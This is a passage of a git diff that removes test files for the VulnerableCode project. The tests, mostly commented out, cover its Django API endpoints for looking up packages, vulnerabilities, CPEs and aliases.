"VCID-vul3-vul3-vul3", -# "summary": "This is VCID-vul3-vul3-vul3", -# "references": [ -# { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://example.com", -# } -# ], -# "fixed_packages": [ -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_12_6.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6", -# "is_vulnerable": False, -# "affected_by_vulnerabilities": [], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6", -# }, -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_1.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "is_vulnerable": True, -# "affected_by_vulnerabilities": [ -# {"vulnerability": "VCID-vul1-vul1-vul1"} -# ], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# }, -# ], -# "aliases": ["CVE-2021-46877", "GHSA-3x8x-79m2-3w2w"], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# "resource_url": "http://testserver/vulnerabilities/VCID-vul3-vul3-vul3", -# } -# ], -# "risk_score": None, -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# } - -# assert response == expected - -# def test_is_vulnerable_attribute_only_exists_on_queryset(self): -# assert not hasattr(self.pkg_2_13_1, "is_vulnerable") -# pkgs = Package.objects.filter(pk=self.pkg_2_13_1.pk).with_is_vulnerable() -# assert all(hasattr(p, "is_vulnerable") for p in pkgs) - -# def test_api_status(self): -# response = self.csrf_client.get( -# "/api/packages/", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# self.assertEqual(status.HTTP_200_OK, response.status_code) - -# def test_api_response(self): -# response = self.csrf_client.get( -# "/api/packages/", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data -# self.assertEqual(response["count"], 5) - -# def test_api_with_namespace_filter(self): -# response = self.csrf_client.get( -# "/api/packages/?namespace=com.fasterxml.jackson.core", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).data -# self.assertEqual(response["count"], 5) - -# def test_api_with_wrong_namespace_filter(self): -# response = self.csrf_client.get( -# "/api/packages/?namespace=foo-bar", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data -# self.assertEqual(response["count"], 0) - -# def test_api_with_all_vulnerable_packages(self): -# with self.assertNumQueries(3): -# # There are 4 queries: -# # 1. SAVEPOINT -# # 2. Authenticating user -# # 3. Get all vulnerable packages -# # 4. RELEASE SAVEPOINT -# response = self.csrf_client.get( -# f"/api/packages/all", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# assert len(response) == 3 -# assert list(response) == [ -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6.1", -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# ] - -# def test_api_with_ignorning_qualifiers(self): -# response = self.csrf_client.get( -# f"/api/packages/?purl=pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.14.0-rc1?foo=bar", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).data -# assert response["count"] == 1 -# assert ( -# response["results"][0]["purl"] -# == "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.14.0-rc1" -# ) - -# def test_api_with_ghost_package_no_fixing_vulnerabilities(self): -# self.pkg_2_13_1.is_ghost = True -# self.pkg_2_13_1.save() - -# response = self.csrf_client.get( -# f"/api/packages/{self.pkg_2_13_1.id}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# expected = { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_1.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "type": "maven", -# "namespace": "com.fasterxml.jackson.core", -# "name": "jackson-databind", -# "version": "2.13.1", -# "qualifiers": {}, -# "subpath": "", -# "is_vulnerable": True, -# "next_non_vulnerable_version": "2.12.6", -# "latest_non_vulnerable_version": "2.14.0-rc1", -# "affected_by_vulnerabilities": [ -# { -# "url": "http://testserver/api/vulnerabilities/{0}".format(self.vul1.id), -# "vulnerability_id": "VCID-vul1-vul1-vul1", -# "summary": "This is VCID-vul1-vul1-vul1", -# "references": [ -# { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://example.com", -# } -# ], -# "fixed_packages": [ -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_2.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# "is_vulnerable": True, -# "affected_by_vulnerabilities": [ -# {"vulnerability": "VCID-vul2-vul2-vul2"} -# ], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# } -# ], -# "aliases": ["CVE-2020-36518", "GHSA-57j2-w4cx-62h2"], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# "resource_url": "http://testserver/vulnerabilities/VCID-vul1-vul1-vul1", -# } -# ], -# "fixing_vulnerabilities": [], -# "risk_score": None, -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# } - -# assert response == expected - -# def test_api_with_ghost_package_no_next_latest_non_vulnerabilities(self): -# self.pkg_2_14_0_rc1.is_ghost = True -# self.pkg_2_14_0_rc1.save() - -# response = self.csrf_client.get( -# f"/api/packages/{self.pkg_2_13_1.id}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# expected = { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_1.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "type": "maven", -# "namespace": "com.fasterxml.jackson.core", -# "name": "jackson-databind", -# "version": "2.13.1", -# "qualifiers": {}, -# "subpath": "", -# "is_vulnerable": True, -# "next_non_vulnerable_version": None, -# "latest_non_vulnerable_version": None, -# "affected_by_vulnerabilities": [ -# { -# "url": "http://testserver/api/vulnerabilities/{0}".format(self.vul1.id), -# "vulnerability_id": "VCID-vul1-vul1-vul1", -# "summary": "This is VCID-vul1-vul1-vul1", -# "references": [ -# { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://example.com", -# } -# ], -# "fixed_packages": [ -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_2.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# "is_vulnerable": True, -# "affected_by_vulnerabilities": [ -# {"vulnerability": "VCID-vul2-vul2-vul2"} -# ], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# } -# ], -# "aliases": ["CVE-2020-36518", "GHSA-57j2-w4cx-62h2"], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# "resource_url": "http://testserver/vulnerabilities/VCID-vul1-vul1-vul1", -# } -# ], -# "fixing_vulnerabilities": [ -# { -# "url": "http://testserver/api/vulnerabilities/{0}".format(self.vul3.id), -# "vulnerability_id": "VCID-vul3-vul3-vul3", -# "summary": "This is VCID-vul3-vul3-vul3", -# "references": [ -# { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://example.com", -# } -# ], -# "fixed_packages": [ -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_12_6.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6", -# "is_vulnerable": False, -# "affected_by_vulnerabilities": [], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6", -# }, -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_1.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "is_vulnerable": True, -# "affected_by_vulnerabilities": [ -# {"vulnerability": "VCID-vul1-vul1-vul1"} -# ], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# }, -# ], -# "aliases": ["CVE-2021-46877", "GHSA-3x8x-79m2-3w2w"], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# "resource_url": "http://testserver/vulnerabilities/VCID-vul3-vul3-vul3", -# } -# ], -# "risk_score": None, -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# } - -# assert response == expected - - -# class CPEApi(TestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# self.vulnerability = Vulnerability.objects.create(summary="test") -# for i in range(0, 10): -# ref, _ = VulnerabilityReference.objects.get_or_create( -# reference_id=f"cpe:/a:nginx:{i}", -# url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:nginx:{i}", -# ) -# VulnerabilityRelatedReference.objects.create( -# reference=ref, vulnerability=self.vulnerability -# ) - -# def test_api_status(self): -# response = self.csrf_client.get( -# "/api/cpes/", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# self.assertEqual(status.HTTP_200_OK, response.status_code) - -# def test_api_response(self): -# response = self.csrf_client.get( -# "/api/cpes/?cpe=cpe:/a:nginx:9", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data -# self.assertEqual(response["count"], 1) - - -# class TestCPEApiWithPackageVulnerabilityRelation(TestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# self.vulnerability = Vulnerability.objects.create(summary="test") -# self.affected_package, _ = Package.objects.get_or_create_from_purl( -# purl="pkg:nginx/nginx@v3.4" -# ) -# self.fixed_package, _ = Package.objects.get_or_create_from_purl(purl="pkg:nginx/nginx@v4.0") -# AffectedByPackageRelatedVulnerability.objects.create( -# vulnerability=self.vulnerability, -# created_by="test", -# package=self.affected_package, -# confidence=100, -# ) -# FixingPackageRelatedVulnerability.objects.create( -# vulnerability=self.vulnerability, -# created_by="test", -# package=self.fixed_package, -# confidence=100, -# ) -# for i in range(0, 10): -# ref, _ = VulnerabilityReference.objects.get_or_create( -# reference_id=f"cpe:/a:nginx:{i}", -# url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:nginx:{i}", -# ) -# VulnerabilityRelatedReference.objects.create( -# reference=ref, vulnerability=self.vulnerability -# ) - -# def test_cpe_api(self): -# response = self.csrf_client.get( -# "/api/cpes/", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# self.assertEqual(status.HTTP_200_OK, response.status_code) - -# response_data = response.json() -# self.assertEqual(1, response_data["count"]) - - -# class AliasApi(TestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# self.vulnerability = Vulnerability.objects.create(summary="test") -# for i in range(0, 10): -# Alias.objects.create(alias=f"CVE-{i}", vulnerability=self.vulnerability) - -# def test_api_status(self): -# response = self.csrf_client.get( -# "/api/aliases/", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# self.assertEqual(status.HTTP_200_OK, response.status_code) - -# def test_api_response(self): -# response = self.csrf_client.get( -# "/api/aliases?alias=CVE-9", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data -# self.assertEqual(response["count"], 1) - - -# class BulkSearchAPIPackage(TestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# packages = self.packages = [ -# "pkg:nginx/nginx@0.6.18", -# "pkg:nginx/nginx@1.20.0", -# "pkg:nginx/nginx@1.21.0", -# "pkg:nginx/nginx@1.20.1", -# "pkg:nginx/nginx@1.9.5", -# "pkg:nginx/nginx@1.17.2", -# "pkg:nginx/nginx@1.17.3", -# "pkg:nginx/nginx@1.16.1", -# "pkg:nginx/nginx@1.15.5", -# "pkg:nginx/nginx@1.15.6", -# "pkg:nginx/nginx@1.14.1", -# "pkg:nginx/nginx@1.0.7", -# "pkg:nginx/nginx@1.0.15", -# ] -# self.pkgs = [Package.objects.from_purl(p) for p in packages] - -# vulnerable_packages = [ -# "pkg:nginx/nginx@1.0.15?foo=bar", -# "pkg:nginx/nginx@1.0.15?foo=baz", -# ] - -# vulnerability = Vulnerability.objects.create(summary="test") - -# for purl in vulnerable_packages: -# package = Package.objects.from_purl(purl) -# set_as_affected_by(package, vulnerability) - -# def test_bulk_api_response(self): -# request_body = { -# "purls": self.packages, -# } -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 13 - -# def test_bulk_api_response_with_ignoring_qualifiers(self): -# request_body = {"purls": ["pkg:nginx/nginx@1.0.15?qualifiers=dev"], "plain_purl": True} -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 -# assert response[0]["purl"] == "pkg:nginx/nginx@1.0.15" - -# def test_bulk_api_response_with_ignoring_subpath(self): -# request_body = {"purls": ["pkg:nginx/nginx@1.0.15#dev/subpath"], "plain_purl": True} -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 -# assert response[0]["purl"] == "pkg:nginx/nginx@1.0.15" - -# def test_bulk_api_with_purl_only_option(self): -# request_body = { -# "purls": ["pkg:nginx/nginx@1.0.15#dev/subpath"], -# "purl_only": True, -# "plain_purl": True, -# } -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 -# assert response[0] == "pkg:nginx/nginx@1.0.15" - -# def test_bulk_api_without_purls_list(self): -# request_body = { -# "purls": None, -# } -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# expected = { -# "error": {"purls": ["This field may not be null."]}, -# "message": "A non-empty 'purls' list of PURLs is required.", -# } - -# self.assertEqual(response, expected) - -# def test_bulk_api_without_purls_empty_list(self): -# request_body = { -# "purls": [], -# } -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# expected = { -# "error": {"purls": ["This list may not be empty."]}, -# "message": "A non-empty 'purls' list of PURLs is required.", -# } - -# self.assertEqual(response, expected) - -# def test_bulk_api_with_empty_request_body(self): -# request_body = {} -# response = self.csrf_client.post( -# "/api/packages/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# expected = { -# "error": {"purls": ["This field is required."]}, -# "message": "A non-empty 'purls' list of PURLs is required.", -# } - -# self.assertEqual(response, expected) - - -# class BulkSearchAPICPE(TestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# self.exclusive_cpes = [ -# "cpe:/a:nginx:1.0.7", -# "cpe:/a:nginx:1.0.15", -# "cpe:/a:nginx:1.14.1", -# "cpe:/a:nginx:1.15.5", -# "cpe:/a:nginx:1.15.6", -# ] -# vuln = Vulnerability.objects.create(summary="test") -# for cpe in self.exclusive_cpes: -# ref = VulnerabilityReference.objects.create( -# reference_id=cpe, -# url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query={cpe}", -# ) -# VulnerabilityRelatedReference.objects.create(reference=ref, vulnerability=vuln) -# second_vuln = Vulnerability.objects.create(summary="test-A") -# self.non_exclusive_cpes = [ -# "cpe:/a:nginx:1.16.1", -# "cpe:/a:nginx:1.17.2", -# "cpe:/a:nginx:1.17.3", -# "cpe:/a:nginx:1.9.5", -# "cpe:/a:nginx:1.20.1", -# "cpe:/a:nginx:1.20.0", -# "cpe:/a:nginx:1.21.0", -# ] -# third_vuln = Vulnerability.objects.create(summary="test-B") -# for cpe in self.non_exclusive_cpes: -# ref = VulnerabilityReference.objects.create( -# reference_id=cpe, -# url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query={cpe}", -# ) -# VulnerabilityRelatedReference.objects.create(reference=ref, vulnerability=second_vuln) -# VulnerabilityRelatedReference.objects.create(reference=ref, vulnerability=third_vuln) - -# def test_api_response_with_with_exclusive_cpes_associated_with_two_vulnerabilities(self): -# request_body = { -# "cpes": self.exclusive_cpes, -# } -# response = self.csrf_client.post( -# "/api/cpes/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 -# assert response[0]["summary"] == "test" -# references_in_vuln = response[0]["references"] -# cpes = [ref["reference_id"] for ref in references_in_vuln] -# assert set(cpes) == set(self.exclusive_cpes) - -# def test_api_response_with_no_cpe_associated(self): -# request_body = { -# "cpes": ["cpe:/a:nginx:1.10.7"], -# } -# response = self.csrf_client.post( -# "/api/cpes/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 0 - -# def test_api_response_with_with_non_exclusive_cpes_associated_with_two_vulnerabilities(self): -# request_body = { -# "cpes": self.non_exclusive_cpes, -# } -# response = self.csrf_client.post( -# "/api/cpes/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 2 - -# def test_with_empty_list(self): -# request_body = { -# "cpes": [], -# } -# response = self.csrf_client.post( -# "/api/cpes/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert response == {"Error": "A non-empty 'cpes' list of CPEs is required."} - -# def test_with_invalid_cpes(self): -# request_body = {"cpes": ["CVE-2022-2022"]} -# response = self.csrf_client.post( -# "/api/cpes/bulk_search", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert response == {"Error": "Invalid CPE: CVE-2022-2022"} - - -# class TesBanUserAgent(TestCase): -# def test_ban_request_with_bytedance_user_agent(self): -# response = self.client.get(f"/api/packages", format="json", HTTP_USER_AGENT="bytedance") -# assert 404 == response.status_code - - -# class TestLookup(TestCase): -# def setUp(self): -# Package.objects.create( -# type="pypi", namespace="", name="microweber/microweber", version="1.2" -# ) -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) - -# def test_lookup_endpoint_failure(self): -# request_body = {"purl": None} -# response = self.csrf_client.post( -# "/api/packages/lookup", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# expected = { -# "error": {"purl": ["This field may not be null."]}, -# "message": "A 'purl' is required.", -# } - -# self.assertEqual(response, expected) - -# def test_lookup_endpoint(self): -# request_body = {"purl": "pkg:pypi/microweber/microweber@1.2"} -# response = self.csrf_client.post( -# "/api/packages/lookup", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 -# assert response[0]["purl"] == "pkg:pypi/microweber/microweber@1.2" - -# def test_bulk_lookup_endpoint(self): -# request_body = { -# "purls": [ -# "pkg:pypi/microweber/microweber@1.2?foo=bar", -# "pkg:pypi/microweber/microweber@1.2", -# "pkg:pypi/foo/bar@1.0", -# ], -# } -# response = self.csrf_client.post( -# "/api/packages/bulk_lookup", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() -# assert len(response) == 1 - -# def test_bulk_lookup_endpoint_failure(self): -# request_body = {"purls": None} -# response = self.csrf_client.post( -# "/api/packages/bulk_lookup", -# data=json.dumps(request_body), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# expected = { -# "error": {"purls": ["This field may not be null."]}, -# "message": "A non-empty 'purls' list of PURLs is required.", -# } - -# self.assertEqual(response, expected) diff --git a/vulnerabilities/tests/test_api_extension.py b/vulnerabilities/tests/test_api_extension.py deleted file mode 100644 index fc971a576..000000000 --- a/vulnerabilities/tests/test_api_extension.py +++ /dev/null @@ -1,100 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from pathlib import Path - -from pytest import fixture -from pytest import mark - -from vulnerabilities.api_extension import V2VulnerabilityReferenceSerializer -from vulnerabilities.api_extension import V2VulnerabilitySeveritySerializer -from vulnerabilities.models import Alias -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.tests.test_export import vulnerability_severity - -TEST_DATA_DIR = Path(__file__).parent / "test_data" / "apiv2" - -VCID = "VCID-pst6-b358-aaap" -PURL = "pkg:generic/nginx/test@2" - - -@fixture -def package(db): - return Package.objects.from_purl(PURL) - - -@fixture -def vulnerability_reference(): - return VulnerabilityReference.objects.create(reference_id="fake", url=f"https://..") - - -@fixture -def vulnerability_severity(vulnerability_reference): - return VulnerabilitySeverity.objects.create( - scoring_system="cvssv3_vector", - value="7.0", - scoring_elements="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - url=f"https://..", - ) - - -@fixture -def vulnerability(db, vulnerability_reference, vulnerability_severity): - vulnerability = Vulnerability.objects.create(vulnerability_id=VCID, summary="test-vuln") - Alias.objects.create(alias=f"CVE-xxx-xxx-xx", vulnerability=vulnerability) - - VulnerabilityRelatedReference.objects.create( - reference=vulnerability_reference, - vulnerability=vulnerability, - ) - - weakness = Weakness.objects.create(cwe_id=15) - vulnerability.weaknesses.add(weakness) - - return vulnerability - - -@fixture -def package_related_vulnerability(db, package, vulnerability): - AffectedByPackageRelatedVulnerability.objects.create( - package=package, - vulnerability=vulnerability, - ) - return package - - -@mark.django_db -def test_V2VulnerabilityReferenceSerializer(vulnerability_reference): - results = V2VulnerabilityReferenceSerializer(instance=vulnerability_reference).data - expected = {"reference_url": "https://..", "reference_id": "fake", "reference_type": ""} - assert expected == results - - -@mark.django_db -def test_V2VulnerabilitySeveritySerializer(vulnerability_severity): - results = V2VulnerabilitySeveritySerializer(instance=vulnerability_severity).data - expected = { - "published_at": None, - "url": "https://..", - "score": "7.0", - "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "scoring_system": "cvssv3_vector", - } - - assert expected == results - - # purls_file = hashid.get_package_purls_yml_file_path(purl=PURL) - # results_pkgpurls = tmp_path / purls_file - # expected_pkgpurls = TEST_DATA_DIR / purls_file - # check_results_and_expected_files(results_pkgpurls, expected_pkgpurls) diff --git a/vulnerabilities/tests/test_api_v2.py b/vulnerabilities/tests/test_api_v2.py deleted file mode 100644 index 649b9ec03..000000000 --- a/vulnerabilities/tests/test_api_v2.py +++ /dev/null @@ -1,913 +0,0 @@ -# # -# # Copyright (c) nexB Inc. and others. All rights reserved. -# # VulnerableCode is a trademark of nexB Inc. -# # SPDX-License-Identifier: Apache-2.0 -# # See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# # See https://github.com/aboutcode-org/vulnerablecode for support or download. -# # See https://aboutcode.org for more information about nexB OSS projects. -# # - -# from unittest.mock import patch - -# from django.contrib.auth.models import User -# from django.core.cache import cache -# from django.db.models import Prefetch -# from django.urls import reverse -# from rest_framework import status -# from rest_framework.test import APIClient -# from rest_framework.test import APITestCase - -# from vulnerabilities.api_v2 import PackageV2Serializer -# from vulnerabilities.api_v2 import VulnerabilityListSerializer -# from vulnerabilities.models import AdvisoryV2 -# from vulnerabilities.models import Alias -# from vulnerabilities.models import ApiUser -# from vulnerabilities.models import CodeFixV2 -# from vulnerabilities.models import Package -# from vulnerabilities.models import PackageV2 -# from vulnerabilities.models import PipelineRun -# from vulnerabilities.models import PipelineSchedule -# from vulnerabilities.models import Vulnerability -# from vulnerabilities.models import VulnerabilityReference -# from vulnerabilities.models import Weakness - - -# class VulnerabilityV2ViewSetTest(APITestCase): -# def setUp(self): -# # Create vulnerabilities -# self.vuln1 = Vulnerability.objects.create( -# vulnerability_id="VCID-1234", summary="Test vulnerability 1" -# ) -# self.vuln2 = Vulnerability.objects.create( -# vulnerability_id="VCID-5678", summary="Test vulnerability 2" -# ) - -# # Create aliases -# Alias.objects.create(alias="CVE-2021-1234", vulnerability=self.vuln1) -# Alias.objects.create(alias="CVE-2021-5678", vulnerability=self.vuln2) - -# # Create weaknesses -# self.weakness1 = Weakness.objects.create(cwe_id=79) -# self.weakness1.vulnerabilities.add(self.vuln1) - -# self.weakness2 = Weakness.objects.create(cwe_id=89) -# self.weakness2.vulnerabilities.add(self.vuln2) - -# # Create references -# self.reference1 = VulnerabilityReference.objects.create( -# url="https://example.com/ref1", reference_type="advisory", reference_id="REF-1" -# ) -# self.reference1.vulnerabilities.add(self.vuln1) - -# self.reference2 = VulnerabilityReference.objects.create( -# url="https://example.com/ref2", reference_type="exploit", reference_id="REF-2" -# ) -# self.reference2.vulnerabilities.add(self.vuln2) - -# cache.clear() -# self.client = APIClient(enforce_csrf_checks=True) - -# def test_list_vulnerabilities(self): -# """ -# Test listing vulnerabilities without filters. -# Should return a paginated response with vulnerabilities dictionary. -# """ -# url = reverse("vulnerability-v2-list") -# response = self.client.get(url, format="json") -# with self.assertNumQueries(4): -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("results", response.data) -# self.assertIn("vulnerabilities", response.data["results"]) -# self.assertEqual(len(response.data["results"]["vulnerabilities"]), 2) -# self.assertIn("VCID-1234", response.data["results"]["vulnerabilities"]) -# self.assertIn("VCID-5678", response.data["results"]["vulnerabilities"]) -# self.assertTrue("url" in response.data["results"]["vulnerabilities"]["VCID-1234"]) - -# def test_retrieve_vulnerability_detail(self): -# """ -# Test retrieving vulnerability details by vulnerability_id. -# """ -# url = reverse("vulnerability-v2-detail", kwargs={"vulnerability_id": "VCID-1234"}) -# with self.assertNumQueries(7): -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(response.data["vulnerability_id"], "VCID-1234") -# self.assertEqual(response.data["summary"], "Test vulnerability 1") -# self.assertEqual(response.data["aliases"], ["CVE-2021-1234"]) -# self.assertEqual(len(response.data["weaknesses"]), 1) -# self.assertEqual(len(response.data["references"]), 1) - -# def test_filter_vulnerability_by_vulnerability_id(self): -# """ -# Test filtering vulnerabilities by vulnerability_id. -# """ -# url = reverse("vulnerability-v2-list") -# with self.assertNumQueries(3): -# response = self.client.get( -# url, -# {"vulnerability_id": "VCID-1234"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(response.data["vulnerability_id"], "VCID-1234") - -# def test_filter_vulnerability_by_alias(self): -# """ -# Test filtering vulnerabilities by alias. -# """ -# url = reverse("vulnerability-v2-list") -# with self.assertNumQueries(4): -# response = self.client.get( -# url, -# {"alias": "CVE-2021-5678"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("results", response.data) -# self.assertIn("vulnerabilities", response.data["results"]) -# self.assertEqual( -# 